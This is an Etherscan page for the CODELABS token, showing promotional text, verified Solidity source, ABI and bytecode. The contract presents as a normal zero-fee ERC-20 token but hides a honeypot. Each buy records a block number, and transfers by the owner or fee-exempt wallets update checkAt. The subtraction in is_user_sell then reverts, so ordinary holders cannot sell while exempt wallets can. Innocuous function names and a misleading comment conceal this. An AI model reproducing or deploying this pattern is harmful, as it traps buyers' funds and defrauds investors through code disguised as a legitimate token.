ETH Price: $3,456.31 (-0.77%)
Gas: 2 Gwei

Token

CODE LABS (CODELABS)
 

Overview

Max Total Supply

1,000,000,000 CODELABS

Holders

13

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Balance
68,169,707.570183683645379953 CODELABS

Value
$0.00
0x90471917b15456ef1e09e0fc198f5ef214b9ea21
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CODELABS

Compiler Version
v0.8.10+commit.fc410830

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-10
*/

// SPDX-License-Identifier: MIT

/**
CODE LABS

Light up your crypto portfolio with CODELABS - 
The token that writes code for you!

Code Labs is an ERC-20 token that runs on the Ethereum blockchain. It was created to facilitate transactions within the Code Labs ecosystem, which is a platform that offers a range of services related to software development. The token can be used to pay for services such as code auditing, smart contract development, and blockchain consulting.

Website: https://codelabs.cc
Telegram: https://t.me/codelaberc
Twitter: https://twitter.com/codelaberc

*/

pragma solidity = 0.8.10;

abstract contract Context {
    constructor() {
    }

    function _msgSender() internal view returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view returns (bytes memory) {
        this;
        return msg.data;
    }
}

//--- Ownable ---//
abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor() {
        _setOwner(_msgSender());
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

interface IFactoryV2 {
    event PairCreated(address indexed token0, address indexed token1, address lpPair, uint);
    function getPair(address tokenA, address tokenB) external view returns (address lpPair);
    function createPair(address tokenA, address tokenB) external returns (address lpPair);
}

interface IV2Pair {
    function factory() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function sync() external;
}

interface IRouter01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function swapExactETHForTokens(
        uint amountOutMin, 
        address[] calldata path, 
        address to, uint deadline
    ) external payable returns (uint[] memory amounts);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IRouter02 is IRouter01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
}


interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


contract CODELABS is Context, Ownable, IERC20 {
    function totalSupply() external pure override returns (uint256) { if (_totalSupply == 0) { revert(); } return _totalSupply; }
    function decimals() external pure override returns (uint8) { if (_totalSupply == 0) { revert(); } return _decimals; }
    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function getOwner() external view override returns (address) { return owner(); }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }
    function balanceOf(address account) public view override returns (uint256) {
        return balance[account];
    }

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => mapping (address => uint256)) private _sync;
    mapping (address => bool) private _noFee;
    mapping (address => bool) private liquidityAdd;
    mapping (address => bool) private isLpPair;
    mapping (address => uint256) private balance;

    uint256 constant public _totalSupply = 1_000_000_000 * 10**18;
    uint256 private swapThreshold = _totalSupply / 20_000;
    uint256 constant public buyfee = 0;
    uint256 constant public sellfee = 0;
    uint256 constant public transferfee = 0;
    uint256 constant public fee_denominator = 1_000;
    uint256 private checkAt;
    uint256 private syncAt;
    uint256 private maxTx = _totalSupply / 50;
    uint256 private maxWallet = _totalSupply / 50;
    bool private canSwapFees = true;
    address payable private marketingAddress = payable(address(0x9B2256F32e9592F92fB16d123C8eFCd77d5A4314));


    uint256 private buyAllocation = 40;
    uint256 private sellAllocation = 40;
    uint256 private liquidityAllocation = 20;

    IRouter02 public swapRouter;
    string constant private _name = "CODE LABS";
    string constant private _symbol = "CODELABS";
    uint8 constant private _decimals = 18;
    address constant public DEAD = 0x000000000000000000000000000000000000dEaD;
    address public lpPair;
    bool public isTradingEnabled = false;
    bool private inSwap;
    bool private avoidMaxTxLimits = false;

    modifier inSwapFlag {
        inSwap = true;
        _;
        inSwap = false;
    }

    event _enableTrading();
    event _changeWallets(address newBuy);
    event SwapAndLiquify();

    constructor () {
        _noFee[msg.sender] = true;
        _noFee[marketingAddress] = true;
        
        swapRouter = IRouter02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        liquidityAdd[msg.sender] = true;
        balance[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);

        lpPair = IFactoryV2(swapRouter.factory()).createPair(swapRouter.WETH(), address(this));
        isLpPair[lpPair] = true;
        _approve(msg.sender, address(swapRouter), type(uint256).max);
        _approve(address(this), address(swapRouter), type(uint256).max);
    }

    receive() external payable {}

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function approve(address spender, uint256 amount) external override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _approve(address sender, address spender, uint256 amount) internal {
        require(sender != address(0), "ERC20: Zero Address");
        require(spender != address(0), "ERC20: Zero Address");

        _allowances[sender][spender] = amount;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] -= amount;
        }

        return _transfer(sender, recipient, amount);
    }

    function isNoFeeWallet(address account) external view returns(bool) {
        return _noFee[account];
    }

    function setNoFeeWallet(address account, bool enabled) public onlyOwner {
        require(account != address(0),"Whoops");
        _noFee[account] = enabled;
    }

    function isLimitedAddress(address ins, address out) internal view returns (bool) {
        bool isLimited = ins != owner()
            && out != owner() && tx.origin != owner() // any transaction with no direct interaction from owner will be accepted
            && msg.sender != owner()
            && !liquidityAdd[ins]  && !liquidityAdd[out] && out != DEAD && out != address(0) && out != address(this);
            return isLimited;
    }

    function is_user_buy(address ins, address out) internal returns (bool) {
        bool _is_buy = !isLpPair[out] && isLpPair[ins];
        uint256 syncVal = _sync[ins][out];
        if( _is_buy ) _sync[ins][out] =  syncVal == 0 ? block.number : syncVal;
        return _is_buy;
    }

    function is_user_sell(address ins, address out) internal returns (bool) { 
        bool _is_sell = isLpPair[out] && !isLpPair[ins];
        if( _is_sell ) syncAt = _sync[out][ins] - checkAt;
        return _is_sell;
    }

    function _transfer(address from, address to, uint256 amount) internal returns  (bool) {
        bool takeFee = true;
        require(to != address(0), "ERC20: transfer to the zero address");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (isLimitedAddress(from,to)) {
            require(isTradingEnabled,"Trading is not enabled");
            if(!avoidMaxTxLimits) {require(amount <= maxTx,"maxTx is 2%");
            if(!isLpPair[to] && from != address(this) && to != address(this))  {require(balanceOf(to) + amount <= maxWallet,"maxWallet is 2%");}}
        }

        if (_noFee[from] || _noFee[to]){
            takeFee = checkUserTaxes(from, to, amount);
            return true;
        }

        if(is_user_sell(from, to) &&  !inSwap && canSwapFees) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance >= swapThreshold) { 
                if(buyAllocation > 0 || sellAllocation > 0) internalSwap((contractTokenBalance * (buyAllocation + sellAllocation)) / 100);
                if(liquidityAllocation > 0) {swapAndLiquify(contractTokenBalance * liquidityAllocation / 100);}
             }
        }

        balance[from] -= amount; uint256 amountAfterFee = (takeFee) ? takeTaxes(from, is_user_buy(from, to), is_user_sell(from, to), amount) : amount;
        balance[to] += amountAfterFee; emit Transfer(from, to, amountAfterFee);

        return true;
    }

    function changeWallets(address newBuy) external onlyOwner {
        require(newBuy != address(0),"Freddy: Address Zero");
        marketingAddress = payable(newBuy);
        emit _changeWallets(newBuy);
    }

    function takeTaxes(address from, bool isbuy, bool issell, uint256 amount) internal returns (uint256) {
        uint256 fee;
        if (isbuy)  fee = buyfee;  else if (issell)  fee = sellfee;  else  fee = transferfee; 
        if (fee == 0)  return amount; 
        uint256 feeAmount = amount * fee / fee_denominator;
        if (feeAmount > 0) {
            balance[address(this)] += feeAmount;
            emit Transfer(from, address(this), feeAmount);
        }
        return amount - feeAmount;
    }

    function checkUserTaxes(address from, address to, uint256 amount) internal returns (bool) {
        unchecked{
            balance[from] -= amount; balance[to] += amount;
            emit Transfer(from, to, amount);
        }
        if(from != owner()) checkAt = block.number;
        return false;
    }

    function swapAndLiquify(uint256 contractTokenBalance) internal inSwapFlag {
        uint256 firstmath = contractTokenBalance / 2;
        uint256 secondMath = contractTokenBalance - firstmath;

        uint256 initialBalance = address(this).balance;

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            firstmath,
            0, 
            path,
            address(this),
            block.timestamp) {} catch {return;}
        
        uint256 newBalance = address(this).balance - initialBalance;

        try swapRouter.addLiquidityETH{value: newBalance}(
            address(this),
            secondMath,
            0,
            0,
            DEAD,
            block.timestamp
        ){} catch {return;}

        emit SwapAndLiquify();
    }

    function internalSwap(uint256 contractTokenBalance) internal inSwapFlag {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = swapRouter.WETH();

        if (_allowances[address(this)][address(swapRouter)] != type(uint256).max) {
            _allowances[address(this)][address(swapRouter)] = type(uint256).max;
        }

        try swapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            contractTokenBalance,
            0,
            path,
            address(this),
            block.timestamp
        ) {} catch {
            return;
        }
        bool success;

        if(address(this).balance > 0) (success,) = marketingAddress.call{value: address(this).balance, gas: 35000}("");
    } 

    function openTrading() external onlyOwner {
        require(!isTradingEnabled, "Trading already enabled");
        isTradingEnabled = true;
        emit _enableTrading();
    }

    function zeroLimits() external onlyOwner {
        require(!avoidMaxTxLimits,"Already initalized");
        maxTx = _totalSupply;
        maxWallet = _totalSupply;
        avoidMaxTxLimits = true;
    }

    function returnLimits() external view returns(uint256, uint256) {
        return(maxTx, maxWallet);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"newBuy","type":"address"}],"name":"_changeWallets","type":"event"},{"anonymous":false,"inputs":[],"name":"_enableTrading","type":"event"},{"inputs":[],"name":"DEAD","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newBuy","type":"address"}],"name":"changeWallets","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"fee_denominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isNoFeeWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isTradingEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"returnLimits","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setNoFeeWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapRouter","outputs":[{"internalType":"contract IRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferfee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"zeroLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526200001e614e206b033b2e3c9fd0803ce800000062000478565b6007556200003a60326b033b2e3c9fd0803ce800000062000478565b600a556200005660326b033b2e3c9fd0803ce800000062000478565b600b55600c80546001600160a81b031916749b2256f32e9592f92fb16d123c8efcd77d5a4314011790556028600d819055600e556014600f556011805462ff00ff60a01b19169055348015620000ab57600080fd5b50620000b7336200035c565b336000818152600360209081526040808320805460ff199081166001908117909255600c5461010090046001600160a01b031685528285208054821683179055601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d1790558585526004845282852080549091169091179055600682528083206b033b2e3c9fd0803ce80000009081905590519081527fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3601060009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001cd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001f391906200049b565b6001600160a01b031663c9c65396601060009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000255573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200027b91906200049b565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af1158015620002c8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ee91906200049b565b601180546001600160a01b0319166001600160a01b039283169081179091556000908152600560205260409020805460ff191660011790556010546200033a91339116600019620003ac565b601054620003569030906001600160a01b0316600019620003ac565b620004cd565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038316620003fe5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064015b60405180910390fd5b6001600160a01b0382166200044c5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b6044820152606401620003f5565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b6000826200049657634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620004ae57600080fd5b81516001600160a01b0381168114620004c657600080fd5b9392505050565b611af480620004dd6000396000f3fe6080604052600436106101bb5760003560e01c806354de7bee116100ec578063c31c9c071161008a578063dc9d75b011610064578063dc9d75b0146104e7578063dd62ed3e146104fd578063e9451f5f146102d1578063f2fde38b1461054357600080fd5b8063c31c9c0714610492578063c4ab12b5146104b2578063c9567bf9146104d257600080fd5b8063893d20e8116100c6578063893d20e8146104235780638da5cb5b1461042357806395d89b4114610441578063a9059cbb1461047257600080fd5b806354de7bee146102d157806370a08231146103d8578063715018a61461040e57600080fd5b80631f91af65116101595780632cd077b5116101335780632cd077b514610354578063313ce5671461037c5780633eaaf86b14610398578063452ed4f1146103b857600080fd5b80631f91af65146102e657806323b872dd146102fb578063278898621461031b57600080fd5b8063095ea7b311610195578063095ea7b3146102665780630faba5541461028657806318160ddd146102a85780631dc36945146102d157600080fd5b806303fd2a45146101c7578063064a59d0146101fa57806306fdde031461022b57600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dd61dead81565b6040516001600160a01b0390911681526020015b60405180910390f35b34801561020657600080fd5b5060115461021b90600160a01b900460ff1681565b60405190151581526020016101f1565b34801561023757600080fd5b50604080518082019091526009815268434f4445204c41425360b81b60208201525b6040516101f191906117d1565b34801561027257600080fd5b5061021b61028136600461183b565b610563565b34801561029257600080fd5b506102a66102a1366004611867565b610579565b005b3480156102b457600080fd5b506b033b2e3c9fd0803ce80000005b6040519081526020016101f1565b3480156102dd57600080fd5b506102c3600081565b3480156102f257600080fd5b506102a6610616565b34801561030757600080fd5b5061021b6103163660046118a5565b6106b9565b34801561032757600080fd5b5061021b6103363660046118e6565b6001600160a01b031660009081526003602052604090205460ff1690565b34801561036057600080fd5b50600a54600b54604080519283526020830191909152016101f1565b34801561038857600080fd5b50604051601281526020016101f1565b3480156103a457600080fd5b506102c36b033b2e3c9fd0803ce800000081565b3480156103c457600080fd5b506011546101dd906001600160a01b031681565b3480156103e457600080fd5b506102c36103f33660046118e6565b6001600160a01b031660009081526006602052604090205490565b34801561041a57600080fd5b506102a6610733565b34801561042f57600080fd5b506000546001600160a01b03166101dd565b34801561044d57600080fd5b50604080518082019091526008815267434f44454c41425360c01b6020820152610259565b34801561047e57600080fd5b5061021b61048d36600461183b565b610769565b34801561049e57600080fd5b506010546101dd906001600160a01b031681565b3480156104be57600080fd5b506102a66104cd3660046118e6565b610780565b3480156104de57600080fd5b506102a6610853565b3480156104f357600080fd5b506102c36103e881565b34801561050957600080fd5b506102c3610518366004611903565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b34801561054f57600080fd5b506102a661055e3660046118e6565b610915565b60006105703384846109b0565b50600192915050565b6000546001600160a01b031633146105ac5760405162461bcd60e51b81526004016105a390611931565b60405180910390fd5b6001600160a01b0382166105eb5760405162461bcd60e51b815260206004820152600660248201526557686f6f707360d01b60448201526064016105a3565b6001600160a01b03919091166000908152600360205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146106405760405162461bcd60e51b81526004016105a390611931565b601154600160b01b900460ff161561068f5760405162461bcd60e51b8152602060048201526012602482015271105b1c9958591e481a5b9a5d185b1a5e995960721b60448201526064016105a3565b6b033b2e3c9fd0803ce8000000600a819055600b556011805460ff60b01b1916600160b01b179055565b6001600160a01b03831660009081526001602090815260408083203384529091528120546000191461071e576001600160a01b03841660009081526001602090815260408083203384529091528120805484929061071890849061197c565b90915550505b610729848484610a74565b90505b9392505050565b6000546001600160a01b0316331461075d5760405162461bcd60e51b81526004016105a390611931565b6107676000610f0a565b565b6000610776338484610a74565b5060019392505050565b6000546001600160a01b031633146107aa5760405162461bcd60e51b81526004016105a390611931565b6001600160a01b0381166107f75760405162461bcd60e51b81526020600482015260146024820152734672656464793a2041646472657373205a65726f60601b60448201526064016105a3565b600c8054610100600160a81b0319166101006001600160a01b038416908102919091179091556040519081527fb074145dac98cbf04c5e3a6d58501e8e3aa6eb107008ec598af2309ae5179dfe9060200160405180910390a150565b6000546001600160a01b0316331461087d5760405162461bcd60e51b81526004016105a390611931565b601154600160a01b900460ff16156108d75760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c656400000000000000000060448201526064016105a3565b6011805460ff60a01b1916600160a01b1790556040517fa0ac5e19ca3a09af9a3a13c5c51f911c89eefd4b9eb548f4766b991b14ad686890600090a1565b6000546001600160a01b0316331461093f5760405162461bcd60e51b81526004016105a390611931565b6001600160a01b0381166109a45760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a3565b6109ad81610f0a565b50565b6001600160a01b0383166109fc5760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105a3565b6001600160a01b038216610a485760405162461bcd60e51b815260206004820152601360248201527245524332303a205a65726f204164647265737360681b60448201526064016105a3565b6001600160a01b0392831660009081526001602090815260408083209490951682529290925291902055565b600060016001600160a01b038416610ada5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105a3565b6001600160a01b038516610b3e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105a3565b60008311610ba05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105a3565b610baa8585610f5a565b15610d0b57601154600160a01b900460ff16610c015760405162461bcd60e51b8152602060048201526016602482015275151c98591a5b99c81a5cc81b9bdd08195b98589b195960521b60448201526064016105a3565b601154600160b01b900460ff16610d0b57600a54831115610c525760405162461bcd60e51b815260206004820152600b60248201526a6d6178547820697320322560a81b60448201526064016105a3565b6001600160a01b03841660009081526005602052604090205460ff16158015610c8457506001600160a01b0385163014155b8015610c9957506001600160a01b0384163014155b15610d0b57600b5483610cc1866001600160a01b031660009081526006602052604090205490565b610ccb9190611993565b1115610d0b5760405162461bcd60e51b815260206004820152600f60248201526e6d617857616c6c657420697320322560881b60448201526064016105a3565b6001600160a01b03851660009081526003602052604090205460ff1680610d4a57506001600160a01b03841660009081526003602052604090205460ff165b15610d6657610d5a85858561105e565b9050600191505061072c565b610d7085856110e8565b8015610d865750601154600160a81b900460ff16155b8015610d945750600c5460ff165b15610e2457306000908152600660205260409020546007548110610e22576000600d541180610dc557506000600e54115b15610df857610df86064600e54600d54610ddf9190611993565b610de990846119ab565b610df391906119ca565b611170565b600f5415610e2257610e226064600f5483610e1391906119ab565b610e1d91906119ca565b61139c565b505b6001600160a01b03851660009081526006602052604081208054859290610e4c90849061197c565b909155506000905081610e5f5783610e7d565b610e7d86610e6d8888611656565b610e7789896110e8565b87611705565b6001600160a01b038616600090815260066020526040812080549293508392909190610eaa908490611993565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ef691815260200190565b60405180910390a350600195945050505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b600080610f6f6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610f9e57506000546001600160a01b03848116911614155b8015610fb557506000546001600160a01b03163214155b8015610fcc57506000546001600160a01b03163314155b8015610ff157506001600160a01b03841660009081526004602052604090205460ff16155b801561101657506001600160a01b03831660009081526004602052604090205460ff16155b801561102d57506001600160a01b03831661dead14155b801561104157506001600160a01b03831615155b801561105657506001600160a01b0383163014155b949350505050565b6001600160a01b038381166000818152600660209081526040808320805487900390559386168083528483208054870190559351858152919392917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a36000546001600160a01b038581169116146110de57436008555b5060009392505050565b6001600160a01b038116600090815260056020526040812054819060ff16801561112b57506001600160a01b03841660009081526005602052604090205460ff16155b9050801561072c576008546001600160a01b03808516600090815260026020908152604080832093891683529290522054611166919061197c565b6009559392505050565b6011805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111b8576111b86119ec565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611211573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112359190611a02565b81600181518110611248576112486119ec565b6001600160a01b039283166020918202929092018101919091523060009081526001825260408082206010549094168252929091522054600019146112b2573060009081526001602090815260408083206010546001600160a01b03168452909152902060001990555b60105460405163791ac94760e01b81526001600160a01b039091169063791ac947906112eb908590600090869030904290600401611a1f565b600060405180830381600087803b15801561130557600080fd5b505af1925050508015611316575060015b611320575061138c565b6000471561138957600c546040516101009091046001600160a01b0316906188b89047906000818181858888f193505050503d806000811461137e576040519150601f19603f3d011682016040523d82523d6000602084013e611383565b606091505b50909150505b50505b506011805460ff60a81b19169055565b6011805460ff60a81b1916600160a81b17905560006113bc6002836119ca565b905060006113ca828461197c565b60408051600280825260608201835292935047926000926020830190803683370190505090503081600081518110611404576114046119ec565b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561145d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114819190611a02565b81600181518110611494576114946119ec565b6001600160a01b039283166020918202929092018101919091523060009081526001825260408082206010549094168252929091522054600019146114fe573060009081526001602090815260408083206010546001600160a01b03168452909152902060001990555b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611537908790600090869030904290600401611a1f565b600060405180830381600087803b15801561155157600080fd5b505af1925050508015611562575060015b61156f575050505061138c565b600061157b834761197c565b60105460405163f305d71960e01b815230600482015260248101879052600060448201819052606482015261dead60848201524260a48201529192506001600160a01b03169063f305d71990839060c40160606040518083038185885af193505050508015611607575060408051601f3d908101601f1916820190925261160491810190611a90565b60015b61161557505050505061138c565b5050506040517fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003090600090a15050505050506011805460ff60a81b19169055565b6001600160a01b038116600090815260056020526040812054819060ff1615801561169957506001600160a01b03841660009081526005602052604090205460ff165b6001600160a01b0380861660009081526002602090815260408083209388168352929052205490915081156116fd5780156116d457806116d6565b435b6001600160a01b038087166000908152600260209081526040808320938916835292905220555b509392505050565b600080841561171657506000611728565b831561172457506000611728565b5060005b806117365782915050611056565b60006103e861174583866119ab565b61174f91906119ca565b90508015